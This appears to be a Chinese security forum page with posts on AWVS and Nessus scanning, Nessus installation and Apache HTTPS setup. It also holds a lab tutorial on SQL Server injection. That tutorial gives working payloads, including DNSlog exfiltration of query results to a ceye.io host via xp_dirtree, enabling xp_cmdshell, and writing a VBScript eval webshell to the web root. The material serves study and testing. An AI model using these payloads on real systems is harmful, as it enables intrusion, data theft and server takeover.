AWVS 11使用

flaray 发表了文章 • 0 个评论 • 94 次浏览 • 2019-07-11 17:57 • 来自相关话题

0x01:Dashboard:仪表盘主页面。显示扫描结果和漏洞类型




0X02:Targets:目标。
点击Add Target添加目标。




0x03:General:一般扫描。






基础设置完成点击"scan"开始扫描目标网站。




























使用登录序列记录器得到了登录凭证












基础设置完成点击"scan"开始扫描目标网站




扫描类型有:完全扫描、高风险漏洞扫描、XSS扫描、SQL注入扫描、弱口令扫描等。
报告生成类型:受影响人、开发人员、执行人员、快报和一些专业报告如CWE 2011报告。
然后等待扫描结果生成。
0x04:Vulnerabilities:漏洞
包含不同分类的漏洞和生成报告






0X05:Reports 报告
报告的生成与导出。注:导出的报告是英文的。

  查看全部
0x01:Dashboard:仪表盘主页面。显示扫描结果和漏洞类型
045ccf055f52af7da776d28d15a08c5d_副本.png

0X02:Targets:目标。
点击Add Target添加目标。
Image.png

0x03:General:一般扫描。

TIM截图20190715101025.png


基础设置完成点击"scan"开始扫描目标网站。
Image.png

Image.png


20180110232433713599_副本.png


20180110232433717505_副本.png


20180110232433718482_副本.png


20180110232433720435.png

使用登录序列记录器得到了登录凭证
Image.png

812dfb006a12760c7e3c292d02ef3278_副本.png

Image.png

基础设置完成点击"scan"开始扫描目标网站
Image.png

扫描类型有:完全扫描、高风险漏洞扫描、XSS扫描、SQL注入扫描、弱口令扫描等。
报告生成类型:受影响人、开发人员、执行人员、快报和一些专业报告如CWE 2011报告。
然后等待扫描结果生成。
0x04:Vulnerabilities:漏洞
包含不同分类的漏洞和生成报告

4271e2d0e4cf97d8ae6e4a75e8bae4a6_副本.png


0X05:Reports 报告
报告的生成与导出。注:导出的报告是英文的。

 

SQL server 注入小结

llpkk 发表了文章 • 0 个评论 • 193 次浏览 • 2019-07-10 16:58 • 来自相关话题

1.SQL server 的基础知识部分
   (1)了解SQL server 系统库
   (2)学习master库中的三个视图
   (3)注释符以及各种信息探测
   (4)如何利用top进行单行查询
2.UNION 联合查询注入
3.SQL server 的报错注入
    (1)收集各种bypass
    (2)having语法注入
4.SQL server 盲注 
    (1)正常的布尔盲注或时间盲注
   (2)DNSlog注入---首选
5.开启xp_cmdshell到获取webshell

Tip:测试环境为win server 2008 
中间件:iis7.5         数据库版本:SQL server 2008 
 
------------------------------------------------------------
0x00 SQL server 的基础知识部分
 
1.系统库的简介
Sqlserver数据库有四个系统数据库,分别是master,model,msdb,tempdb。我们最经常使用到的时master库,它与MySQL中的information_schema库有几分相似,都存储了所有数据库库名(sysdatabases),表名(sysobjects),字段名(syscolumns)。
而我们在注入的过程当中就要用的master库中的这三个视图,无论是联合查询注入还是盲注与DNSlog注入都离不开这三个视图表。

系统库简述:
master 用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。model SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础msdb 由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。tempdb 它为临时表和其他临时工作提供了一个存储区。2.三个视图的简单使用(sysdatabases,sysobjects,syscolumns)(1)查询所有的数据库名select *from master..sysyatabases


这条语句会显示出数据库的所有信息,其中我们应用到的有name和dbid这俩个字段。而我们通常只需要知道名称即可,所以用到了如下语句:select name from master..sysdatabases


 (2)查询数据库中所有的表名select name from master..sysobjects where Xtypee = 'x'


(3)查询表中所有的列名select * from databases..table例如:select * from test..test


(4)查询字段select * from test..syscolumns where xtype=167


Tip:在对sysobjects和syscolumns使用的时候我们需要增加一个xtype作为限制条件,而在两个视图当中也都有着不同的含义。具体参照:https://www.cnblogs.com/zhaomengmeng/p/4933828.html 3.注释符以及各种信息探测(1)注释风格/*--    常用;(2)空白格字符(多用来绕过WAF)01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,1415,16,17,18,19,1A,1B,1C,1D,1E,1F,20/**/(3)常用运算符号+ 加法运算-   减法运算* 乘法运算/           除法运算& 位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0| 位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0^ 位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0(4)基础信息探测@@VERSION,@@SERVERNAME,@@SERVICENAME;--Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) --WIN-2008--MSSQLSERVERUSER,CURRENT_USER,SESSION_USER,SYSTEM_USER;--dbo--dbo--dbo--saUSER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME();--dbo--wyb--46530--saUSER_ID(),USER_SID();--1--<01>ORIGINAL_LOGIN();--sa   4.利用top进行限制查询在mysql注入中我们会遇到一行不能够显示多列的情况,解决的方法是利用limit m,n进行控制,将数据逐行输出。而在SQL server中也有这样的情况(尤其是利用DNSlog注入时),我们就可以用如下两种方法做到与limit m,n 同样的效果①:在查询数据库名称时利用dbid进行限制查询由于dbid是系统数据库所特有的,所有可以依次从1到n注出所有的数据库名


②:在查询表和字段时利用top语法进行查询在sysobjects和syscolumns视图当拥有大量的数据,如果依据id值进行限制会非常的繁琐,浪费时间。所以可以用到如下sql查询语法:取第m条到第n条记录 select top (n-m+1) id from tablename  where id not in (    select top m-1 id from tablename  )具体利用:


这样我们在DNSlog注入时才能拼接完整的payload   0x01 UNION SELECT 联合查询注入SQL server中的联合查询注入和MySQL中的联合查询注入非常相似,但是也有不同的地方。相同点是都必须要有回显位,并且要与列数相同。不同的是MySQL占位符一般用1,2,3,4数字,而SQL server中要用到null作为占位符。因为如果用数字的话会牵扯到隐式转化的问题而导致无法有正常的回显。联合查询注入过程:首先利用 order by 语句查询出有几列





查询出有4列后进行联合查询注入 ,首先查出所有数据库名。


 之后爆出test库下的所有表


 爆出message表下的所有字段


 之后可以任意的查询字段值了 0x02 SQL server 的报错注入报错注入相对简单很多,但前提是网站管理员打开了报错界面的详细信息,而对于粗心的管理员的话就非常有可能忘记关闭了。在报错注入中我们最重要的是收集一些bypass,如果碰到WAF也可以尝试绕过. http://zone.secevery.com/article/1055这是上次在社区发的mssql报错注入,这里就不再赘述。 利用having语法注入如果页面开启了报错页面的详细信息,我们也可以用having语法直接爆出列名,利用手法是在每一次爆出列名后再加上爆出的列名一直进行。 


爆出列名id,我们利用group by构造出如下语句爆出下一个列名


之后依次爆出所有的列名之后页面就会返回正常页面


 0x03 SQL server 盲注大多数的站很少会开启报错页面,盲注是比较常见的类型。基本的盲注分为布尔型盲注和时间盲注,但这两种注入都非常浪费时间,解决盲注时间问题的方法无非是写脚本或者利用DNSlog,而DNSlog注入的方式会大大减少注入的时间,所以也是首选的方法。在sql server中布尔盲注也没有太多的手法,依然是分割字符串并用ascii函数和二分法进行比较依次得出整个字符串。而用到的语句也是在0x00中写到的最基本的三个视图的基本利用。1.普通盲注payload:and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109其中的select top 1 name from master.dbo.sysdatabases 就是我们要查询的内容并且进行分割​,方法很直白,不进行演示。2.DNSlog注入DNSlog注入的基本原理是将查询出来的字符进行拼接之后进行访问xxxxx.ceye.io及其子域名,产生出DNSlog日志,通过查看日志我们就可以看到我们所查询出来的内容。而在这时,我们学习的单行查询就很重要了,因为在拼接URL的时候,只能拼接一个单词作为子域名进行访问,如果是多个的话就不会产生DNS日志。这里有一个知道创宇的DNS平台:http://ceye.io SQL server 的DNSlog注入语句;use flag;declare @a char(128);set @a='\\'%2b(select top 1 * from tt_tmp)%2b'.py88oq.ceye.io';exec master..xp_dirtree @a;演示:查出第一个数据库的库名为master





 然后我们利用sysdatabases的dbid字段查询处dbid=5时的用户创建的数据库为testhttp://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20name%20from%20master.dbo.sysdatabases%20where%20dbid=5)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--


查出test的各个表名http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20top%201%20name%20from%20test..sysobjects%20where%20xtype=%27U%27)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--


可以看出表message,test,tt_tmp


 DNSlog注入还可以对MySQL,oracle数据库还有一些CMS都有利用,非常强大。具体的注入细节问题访问:https://www.jianshu.com/p/ba52cf6e47db 0x04 开启xp_cmdshell获取webshellxp_cmdshell在SQL server 2005版本以上是默认关闭的,我们需要手动打开它,但在此之前我们需要进行第一步:判断是否存在组件xp_cmdshell;if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'如果延迟5s后返回正常页面的话则判断存在组件xp_cmdshell。如果删除了xp_cmdshell组件的话可以用下面的命令恢复恢复/删除 xp_cmdshellexec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'exec sp_dropextendedproc 'xplog70.dll'开启xp_cmdshell# 关闭xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;# 启用xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;成功开启xp_cmdshell之后,我们要进行的最重要的一步就是找到网站的根路径,这里也是较难的一点。下面有两种方法:找到报错页面得到物理路径,如404页面。查找网站文件并把路径写入到临时表当中
 
1.对于一些粗心的网站管理员可能404等错误页面是iis默认的报错页面,而这个报错页面就会暴露出网站的物理路径,此时我们就可以写一个shell文件进去。






2.在大佬博客上看到的找物理路径的方法是找到一个网站文件,将其路径写入临时表后再使用sqlmap跑出来。具体思路如下:
在数据库tempdb创建临时表temp​;use test;create table tt_tmp (tmp1 varchar(1000));创建完成之后使用sqlmap可以看到成功创建表temp





 
Sqlmap命令: python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test --tables​




 
之后我们将char.asp文件的路径写入到该字段当中;use test;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir /s /b c:\char.asp';




 
(加粗【c:\char.asp】部分的c盘是测试出来的,总共就C,D,E,F几个盘,依次试一试就能成功)

这个语句回车之后的响应时间会稍微长一点,是因为将很数据插入到表中需要一定时间

Sqlmap命令:python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test -T tt_tmp -C tmp1 --dump




 
这样我们成功的查询到了网站的根路径,随后我们尝试写入一句话;exec master..xp_cmdshell 'echo ^<script language=vbs runat=server^>eval(request("c"))^</script^> > c:\\inetpub\\wwwroot\\shell.asp';执行之后返回正常界面,我们访问192.168.10.19/shell.asp观察






返回状态码200,asp内容已经被成功解析,查看靶机是否被成功写入。






成功写入一句话木马,尝试才到连接










成功获取webshell
 
0x05 总结
这次总结的sql server 注入的过程中踩过很多的坑,并且再讲的过程中老师也给出了答案并且给了很多的补充和新的想法。在利用系统视图查看用户数据库信息时也可以通过别的视图更加方便的查找到数据。
查看表名:select top 1 name from [数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0查看字段名:select top 1 COLUMN_NAME from 【数据库名称】.information_schema.columns where TABLE_NAME='【表名称】'
总结一遍下来感觉自己的知识还需要更加巩固,学习的东西还有很多,而我也会在采坑的过程中成长。
 
参考文献:
http://wyb0.com/posts/2019/sql-server-from-injection-to-getshell/
微信公众号---安全祖师爷
https://www.jianshu.com/p/ba52cf6e47db
https://www.cnblogs.com/zhaomengmeng/p/4933828.html
 
 
 

 
  查看全部
1.SQL server 的基础知识部分
   (1)了解SQL server 系统库
   (2)学习master库中的三个视图
   (3)注释符以及各种信息探测
   (4)如何利用top进行单行查询

2.UNION 联合查询注入
3.SQL server 的报错注入
    (1)收集各种bypass
    (2)having语法注入

4.SQL server 盲注 
    (1)正常的布尔盲注或时间盲注
   (2)DNSlog注入---首选

5.开启xp_cmdshell到获取webshell

Tip:测试环境为win server 2008 
中间件:iis7.5         数据库版本:SQL server 2008 

 
------------------------------------------------------------
0x00 SQL server 的基础知识部分
 
1.系统库的简介
Sqlserver数据库有四个系统数据库,分别是master,model,msdb,tempdb。我们最经常使用到的时master库,它与MySQL中的information_schema库有几分相似,都存储了所有数据库库名(sysdatabases),表名(sysobjects),字段名(syscolumns)。
而我们在注入的过程当中就要用的master库中的这三个视图,无论是联合查询注入还是盲注与DNSlog注入都离不开这三个视图表。


系统库简述:
  • master 用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。
  • model SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
  • msdb 由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。
  • tempdb 它为临时表和其他临时工作提供了一个存储区。
2.三个视图的简单使用(sysdatabases,sysobjects,syscolumns)(1)查询所有的数据库名
select *from master..sysyatabases
图片1.png
这条语句会显示出数据库的所有信息,其中我们应用到的有name和dbid这俩个字段。而我们通常只需要知道名称即可,所以用到了如下语句:
select name from master..sysdatabases
图片2.png
 (2)查询数据库中所有的表名
select name from master..sysobjects where Xtypee = 'x' 
图片3.png
(3)查询表中所有的列名
select * from databases..table
例如:select * from test..test
图片4.png
(4)查询字段
select * from test..syscolumns where xtype=167
图片4.png
Tip:在对sysobjects和syscolumns使用的时候我们需要增加一个xtype作为限制条件,而在两个视图当中也都有着不同的含义。具体参照:https://www.cnblogs.com/zhaomengmeng/p/4933828.html 3.注释符以及各种信息探测(1)注释风格
  • /*
  • --    常用
  • ;
(2)空白格字符(多用来绕过WAF)
  • 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,1415,16,17,18,19,1A,1B,1C,1D,1E,1F,20
  • /**/
(3)常用运算符号
  • + 加法运算
  • -   减法运算
  • * 乘法运算
  • /           除法运算
  • & 位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0
  • | 位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0
  • ^ 位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0
(4)基础信息探测
@@VERSION,@@SERVERNAME,@@SERVICENAME;--Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) --WIN-2008--MSSQLSERVERUSER,CURRENT_USER,SESSION_USER,SYSTEM_USER;--dbo--dbo--dbo--saUSER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME();--dbo--wyb--46530--saUSER_ID(),USER_SID();--1--<01>ORIGINAL_LOGIN();--sa
   4.利用top进行限制查询在mysql注入中我们会遇到一行不能够显示多列的情况,解决的方法是利用limit m,n进行控制,将数据逐行输出。而在SQL server中也有这样的情况(尤其是利用DNSlog注入时),我们就可以用如下两种方法做到与limit m,n 同样的效果①:在查询数据库名称时利用dbid进行限制查询由于dbid是系统数据库所特有的,所有可以依次从1到n注出所有的数据库名
图片6.png
②:在查询表和字段时利用top语法进行查询在sysobjects和syscolumns视图当拥有大量的数据,如果依据id值进行限制会非常的繁琐,浪费时间。所以可以用到如下sql查询语法:取第m条到第n条记录 
select top (n-m+1) id from tablename  where id not in (    select top m-1 id from tablename  )具体利用:
图片7.png
这样我们在DNSlog注入时才能拼接完整的payload   0x01 UNION SELECT 联合查询注入SQL server中的联合查询注入和MySQL中的联合查询注入非常相似,但是也有不同的地方。相同点是都必须要有回显位,并且要与列数相同。不同的是MySQL占位符一般用1,2,3,4数字,而SQL server中要用到null作为占位符。因为如果用数字的话会牵扯到隐式转化的问题而导致无法有正常的回显。联合查询注入过程:首先利用 order by 语句查询出有几列
图片8.png
图片9.png
查询出有4列后进行联合查询注入 ,首先查出所有数据库名。
图片10.png
 之后爆出test库下的所有表
图片11.png
 爆出message表下的所有字段
图片12.png
 之后可以任意的查询字段值了 0x02 SQL server 的报错注入报错注入相对简单很多,但前提是网站管理员打开了报错界面的详细信息,而对于粗心的管理员的话就非常有可能忘记关闭了。在报错注入中我们最重要的是收集一些bypass,如果碰到WAF也可以尝试绕过. http://zone.secevery.com/article/1055这是上次在社区发的mssql报错注入,这里就不再赘述。 利用having语法注入如果页面开启了报错页面的详细信息,我们也可以用having语法直接爆出列名,利用手法是在每一次爆出列名后再加上爆出的列名一直进行。 
图片13.png
爆出列名id,我们利用group by构造出如下语句爆出下一个列名
图片14.png
之后依次爆出所有的列名之后页面就会返回正常页面
图片15.png
 0x03 SQL server 盲注大多数的站很少会开启报错页面,盲注是比较常见的类型。基本的盲注分为布尔型盲注和时间盲注,但这两种注入都非常浪费时间,解决盲注时间问题的方法无非是写脚本或者利用DNSlog,而DNSlog注入的方式会大大减少注入的时间,所以也是首选的方法。在sql server中布尔盲注也没有太多的手法,依然是分割字符串并用ascii函数和二分法进行比较依次得出整个字符串。而用到的语句也是在0x00中写到的最基本的三个视图的基本利用。1.普通盲注payload:
and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109
其中的select top 1 name from master.dbo.sysdatabases 就是我们要查询的内容并且进行分割​,方法很直白,不进行演示。2.DNSlog注入DNSlog注入的基本原理是将查询出来的字符进行拼接之后进行访问xxxxx.ceye.io及其子域名,产生出DNSlog日志,通过查看日志我们就可以看到我们所查询出来的内容。而在这时,我们学习的单行查询就很重要了,因为在拼接URL的时候,只能拼接一个单词作为子域名进行访问,如果是多个的话就不会产生DNS日志。这里有一个知道创宇的DNS平台:http://ceye.io SQL server 的DNSlog注入语句
;use flag;declare @a char(128);set @a='\\'%2b(select top 1 * from tt_tmp)%2b'.py88oq.ceye.io';exec master..xp_dirtree @a;
演示:查出第一个数据库的库名为master
图片16.png
图片17.png
 然后我们利用sysdatabases的dbid字段查询处dbid=5时的用户创建的数据库为test
http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20name%20from%20master.dbo.sysdatabases%20where%20dbid=5)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--
图片18.png
查出test的各个表名
http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20top%201%20name%20from%20test..sysobjects%20where%20xtype=%27U%27)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--
图片19.png
可以看出表message,test,tt_tmp
图片20.png
 DNSlog注入还可以对MySQL,oracle数据库还有一些CMS都有利用,非常强大。具体的注入细节问题访问:https://www.jianshu.com/p/ba52cf6e47db 0x04 开启xp_cmdshell获取webshellxp_cmdshell在SQL server 2005版本以上是默认关闭的,我们需要手动打开它,但在此之前我们需要进行第一步:判断是否存在组件xp_cmdshell
;if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'
如果延迟5s后返回正常页面的话则判断存在组件xp_cmdshell。如果删除了xp_cmdshell组件的话可以用下面的命令恢复恢复/删除 xp_cmdshell
exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'exec sp_dropextendedproc 'xplog70.dll'
开启xp_cmdshell# 关闭xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;# 启用xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
成功开启xp_cmdshell之后,我们要进行的最重要的一步就是找到网站的根路径,这里也是较难的一点。下面有两种方法:
  • 找到报错页面得到物理路径,如404页面。
  • 查找网站文件并把路径写入到临时表当中

 
1.对于一些粗心的网站管理员可能404等错误页面是iis默认的报错页面,而这个报错页面就会暴露出网站的物理路径,此时我们就可以写一个shell文件进去。

图片21.png


2.在大佬博客上看到的找物理路径的方法是找到一个网站文件,将其路径写入临时表后再使用sqlmap跑出来。具体思路如下:
在数据库tempdb创建临时表temp​
;use test;create table tt_tmp (tmp1 varchar(1000));
创建完成之后使用sqlmap可以看到成功创建表temp

图片22.png

 
Sqlmap命令: 
python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test --tables​

图片23.png

 
之后我们将char.asp文件的路径写入到该字段当中
;use test;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir /s /b c:\char.asp';

图片24.png

 
(加粗【c:\char.asp】部分的c盘是测试出来的,总共就C,D,E,F几个盘,依次试一试就能成功)

这个语句回车之后的响应时间会稍微长一点,是因为将很数据插入到表中需要一定时间


Sqlmap命令:
python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test -T tt_tmp -C tmp1 --dump

图片25.png

 
这样我们成功的查询到了网站的根路径,随后我们尝试写入一句话
;exec master..xp_cmdshell 'echo ^<script language=vbs runat=server^>eval(request("c"))^</script^> > c:\\inetpub\\wwwroot\\shell.asp';
执行之后返回正常界面,我们访问192.168.10.19/shell.asp观察

图片26.png


返回状态码200,asp内容已经被成功解析,查看靶机是否被成功写入。

图片27.png


成功写入一句话木马,尝试才到连接

图片28.png


图片29.png

成功获取webshell
 
0x05 总结
这次总结的sql server 注入的过程中踩过很多的坑,并且再讲的过程中老师也给出了答案并且给了很多的补充和新的想法。在利用系统视图查看用户数据库信息时也可以通过别的视图更加方便的查找到数据。
查看表名:
select top 1 name from [数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0
查看字段名:
select top 1 COLUMN_NAME from 【数据库名称】.information_schema.columns where TABLE_NAME='【表名称】'

总结一遍下来感觉自己的知识还需要更加巩固,学习的东西还有很多,而我也会在采坑的过程中成长。
 
参考文献:
http://wyb0.com/posts/2019/sql-server-from-injection-to-getshell/
微信公众号---安全祖师爷
https://www.jianshu.com/p/ba52cf6e47db
https://www.cnblogs.com/zhaomengmeng/p/4933828.html
 
 
 

 
 

nessus的扫描及配置说明

gu 发表了文章 • 0 个评论 • 61 次浏览 • 2019-07-10 16:33 • 来自相关话题

0x00 建立扫描任务点击New Scan后选择Advanced Scan 进入配置选项







输入项目名称,ip地址




然后点击Plugins,在这里所有的插件都是开启的,点击对应的插件添加



添加之后点击save,这样一个扫描任务就创建成功了 




点击开始就可以开始扫描了 




点击该项目就可以查看扫描的详细信息




扫描结束后在信息列表界面选择ruport-html,可以以html的形式导出报告








下载完成之后打开就是扫描的报告信息




0x01DISCOVERY配置介绍
Host Discovery 主机发现
在建立扫描任务选择Advanced Scan之后的配置需要做一下说明









 
Port Scanning 端口扫描









 
Service Discovery 端口服务探测




0x02 ASSESSMENT 配置介绍
Genreral 安全评估的一般配置




Brutr Force 风险项




Web Application web应用扫描












    Windows 设置




0x03Credentials 设置登录扫描
​以windowss为例,开启3389端口,然后再Credentials中选择host-windows,输入用户名密码和ip然后点击保存




0x04 参考文章
Nessus8.0.1使用教程 - guo_yan_gy的博客 - CSDN博客 
NESSUS的高级扫描方法 - FreeBuf专栏·潜心学习的小白帽 
nessus自定义扫描策略 - FreeBuf专栏·潜心学习的小白帽 查看全部
0x00 建立扫描任务点击New Scan后选择Advanced Scan 进入配置选项
Image.png
Image.png

输入项目名称,ip地址
Image.png

然后点击Plugins,在这里所有的插件都是开启的,点击对应的插件添加
Image.png
添加之后点击save,这样一个扫描任务就创建成功了 
Image.png

点击开始就可以开始扫描了 
Image.png

点击该项目就可以查看扫描的详细信息
Image.png

扫描结束后在信息列表界面选择ruport-html,可以以html的形式导出报告
Image.png

Image.png

下载完成之后打开就是扫描的报告信息
Image.png

0x01DISCOVERY配置介绍
Host Discovery 主机发现
在建立扫描任务选择Advanced Scan之后的配置需要做一下说明

Image.png

Image.png

 
Port Scanning 端口扫描

Image.png

Image.png

 
Service Discovery 端口服务探测
Image.png

0x02 ASSESSMENT 配置介绍
Genreral 安全评估的一般配置
Image.png

Brutr Force 风险项
Image.png

Web Application web应用扫描
Image.png

Image.png

Image.png

    Windows 设置
Image.png

0x03Credentials 设置登录扫描
​以windowss为例,开启3389端口,然后再Credentials中选择host-windows,输入用户名密码和ip然后点击保存
Image.png

0x04 参考文章
Nessus8.0.1使用教程 - guo_yan_gy的博客 - CSDN博客 
NESSUS的高级扫描方法 - FreeBuf专栏·潜心学习的小白帽 
nessus自定义扫描策略 - FreeBuf专栏·潜心学习的小白帽

linux下nessus的安装

gu 发表了文章 • 0 个评论 • 50 次浏览 • 2019-07-09 16:30 • 来自相关话题

0x00下载安装包
在官网上下载对应系统版本的安装包即可,我用的是ubantu系统
nessus下载地址:https://www.tenable.com/downloads/nessus





0x01安装安装包
下载的安装包是deb文件,用解压deb文件的命令直接解压就可以
sudo dpkg -i 文件名




0x02启动nessus服务
执行启动命令启动nessus服务
service nessusd start
接下来访问https://虚拟机ip:8834就可以登录web页面





在这里需要选择第一个





跳转页面之后填入相应信息





点击email之后激活码会发送到邮箱中,然后点击skip
跳转页面后填入激活码点击continue





下一个页面就是注册用户的界面




填完点击下一步就会自动安装插件,但是会卡在这里报错





0x03安装插件
上面已经安装成功了,由于我自己下载离线插件安装包没有成功,最后跳转下载得时候不知道为什么拒绝服务。在这里想试试的小伙伴可以读下https://blog.csdn.net/qq_35983015/article/details/79325463这篇文章讲的很详细
我自己则是找的安装包直接拖进虚拟机安装的插件
在这里需要注意的是安装包一定要放在/opt/nessus/sbin目录下,并且命令也是在该目录下执行的将插件安装包放入上面的目录下后执行命令即可安装插件./nessuscli update all-2.0.tar.gz(插件包名)




安装完成需要重启下nessus
./nessusd




这里要注意的是安装插件完成后并不会跳转到命令行,按ctrl+c后才能回到命令行
最后附上产检安装完成后的截图





  查看全部
0x00下载安装包
在官网上下载对应系统版本的安装包即可,我用的是ubantu系统
nessus下载地址:https://www.tenable.com/downloads/nessus

Image.png

0x01安装安装包
下载的安装包是deb文件,用解压deb文件的命令直接解压就可以
sudo dpkg -i 文件名

Image.png

0x02启动nessus服务
执行启动命令启动nessus服务
service nessusd start

接下来访问https://虚拟机ip:8834就可以登录web页面

Image.png

在这里需要选择第一个

Image.png

跳转页面之后填入相应信息

Image.png

点击email之后激活码会发送到邮箱中,然后点击skip
跳转页面后填入激活码点击continue

Image.png

下一个页面就是注册用户的界面
Image.png

填完点击下一步就会自动安装插件,但是会卡在这里报错

Image.png

0x03安装插件
上面已经安装成功了,由于我自己下载离线插件安装包没有成功,最后跳转下载得时候不知道为什么拒绝服务。在这里想试试的小伙伴可以读下https://blog.csdn.net/qq_35983015/article/details/79325463这篇文章讲的很详细
我自己则是找的安装包直接拖进虚拟机安装的插件
在这里需要注意的是安装包一定要放在/opt/nessus/sbin目录下,并且命令也是在该目录下执行的将插件安装包放入上面的目录下后执行命令即可安装插件
./nessuscli update all-2.0.tar.gz(插件包名)

Image.png

安装完成需要重启下nessus
./nessusd

Image.png

这里要注意的是安装插件完成后并不会跳转到命令行,按ctrl+c后才能回到命令行
最后附上产检安装完成后的截图

Image.png

 

为域名配置HTTPS

wuyou 发表了文章 • 1 个评论 • 51 次浏览 • 2019-07-02 20:22 • 来自相关话题

前段时间看到一篇报道:
美国联邦调查局(FBI)近日向网民发出警告,基于HTTPS的网站并非都是安全的。
于是今天来试着为一个域名配置SSL证书,使其变成一个HTTPS的域名




 
网上有很多申请免费的SSL证书的网站,比如阿里云可以免费申请一年的使用权




不过这里我选择使用另一个来源
 
申请SSL证书
https://freessl.cn/
输入你要配置的域名,然后点击创建




 
输入邮箱,以浏览器生成,点击创建




 
这时下面就会出现一个DNS记录值




 
在你的域名提供商那里增加DNS解析记录




 
返回freessl,等待几分钟,点击验证
验证成功后下载证书并将证书信息上传到域名提供商那里
 





服务器配置
在配置服务器的时候踩了很多坑,差点把Apache搞瘫了....下次在改配置文件的时候一定要备份一下再操作!1、安装ssl模块
# yum install mod_ssl -y
Ps:安装完成后,会在/etc/httpd/conf.d/下生成一个ssl.conf配置文件。

2、建一个目录用来放ssl证书文件
# mkdir /etc/httpd/ssl/

3、上传证书文件到ssl目录下
Ps:一共两个文件,其中.pem文件包含两部分内容

4、编辑ssl配置文件
# vim /etc/httpd/conf.d/ssl.conf

5、修改以下几行,去掉前面的“#”注释

DocumentRoot "/var/www/html" #网页文件路径
ServerName 域名:443 #改为自己的域名
SSLEngine on #启用SSL功能
SSLCertificateFile /etc/httpd/ssl/2_www.**.cn.crt #填写证书文件路径
SSLCertificateKeyFile /etc/httpd/ssl/3_www.***.cn.key #填写私钥文件路径
SSLCertificateChainFile /etc/httpd/ssl/1_root_bundle.crt #填写证书链文件路径

6) 重启服务器
# service httpd restart这样服务器就配置好了,查看一下我们的Web页面




 
因为主页是Wordpress,资源链接中含http内容,所以会出现上图中的现象





使用一个纯html页面来检测一下是否成功




 
可以再添加一个从http跳到https的规则让访问过程更流畅





 
 


  查看全部
前段时间看到一篇报道:
美国联邦调查局(FBI)近日向网民发出警告,基于HTTPS的网站并非都是安全的。
于是今天来试着为一个域名配置SSL证书,使其变成一个HTTPS的域名
2.png

 
网上有很多申请免费的SSL证书的网站,比如阿里云可以免费申请一年的使用权
1.png

不过这里我选择使用另一个来源
 
申请SSL证书
https://freessl.cn/
输入你要配置的域名,然后点击创建
3.png

 
输入邮箱,以浏览器生成,点击创建
4.png

 
这时下面就会出现一个DNS记录值
5.png

 
在你的域名提供商那里增加DNS解析记录
7.png

 
返回freessl,等待几分钟,点击验证
验证成功后下载证书并将证书信息上传到域名提供商那里
 
6.png


服务器配置
在配置服务器的时候踩了很多坑,差点把Apache搞瘫了....下次在改配置文件的时候一定要备份一下再操作!
1、安装ssl模块
# yum install mod_ssl -y
Ps:安装完成后,会在/etc/httpd/conf.d/下生成一个ssl.conf配置文件。

